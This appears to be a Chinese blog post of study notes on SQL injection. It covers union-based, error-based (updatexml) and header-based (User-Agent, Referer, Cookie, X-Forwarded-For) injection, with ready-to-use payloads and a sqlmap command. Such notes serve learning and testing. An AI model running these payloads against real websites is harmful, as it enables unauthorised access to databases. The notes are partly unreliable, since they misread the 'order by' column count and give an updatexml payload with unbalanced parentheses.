本文最后更新于 2022-01-14,文章内容可能已经过时。

显注和盲注

SQL注入原理:我们在一个网站上输入的数据库语句。如果这个网站执行了,就说明这个网站存在SQL注入漏洞。
输入的地方:(一定要与数据库交互)

  1. 网站提供的输入框
  2. 地址栏参数的值
  3. head部分

注入流程

  1. 判断网站是否存在SQL漏洞 --> 盲注的核心
    用判断条件 + 页面的反应
    and 1=1 --> 条件成立,页面有查询结果
    and 1=2 --> 条件不成立,页面没有查询结果
    --> 该网站存在SQL注入漏洞
  2. 判断字段数 --> 为了有显示回显点
    order by 1 --> 页面有查询结果 --> 说明网站的表里面有1列
    order by 2 --> 页面有查询结果 --> 说明网站的表里面有2列
    order by 3 --> 页面有查询结果 --> 说明网站的表里面有3列
    order by 4 --> 页面没有查询结果 --> 说明网站的表里面有4列
    order by 也是可以用来判断是否有SQL漏洞
  3. 判断回显点 --> 显错注入的核心
    ?id=-9999 union select 1,2,3
    ?id=1 and 1=2 union select 1,2,3
    两个作用是一样的
  4. 查询相关数据
    database() # 库名
    version() # 版本

http协议-head

GET注入:在网站的参数值
POST注入:在网站提供的输入框
Cookie注入:因为注入点在Cookie的地方
head注入:注入点在head部分

head注入

通常来说,使用head注入,是需要配合成功登录的。

报错注入:能够让数据伴随着报错信息,一起显示出来。
updataxml() # 这是一个函数,作用:能够将数据库语句执行,并且伴随着数据库报错显示错来。
updatexml(1,concat(0x7e,(select version())),1),1)
使用:
输入 ' and updatexml(1,concat(0x7e,(select version())),1),1) -- qwe

User-Agent注入
Referer注入
X-Forwarded-For注入 # 记录IP的,一般不出现在数据包里
X-Forwarded-For: 127.0.0.1 # 能绕过一些防护,但是概率较低

都是类似的head注入

使用SQLMap工具
python sqlmap.py -r 666.txt --level 3 --risk 2 --batch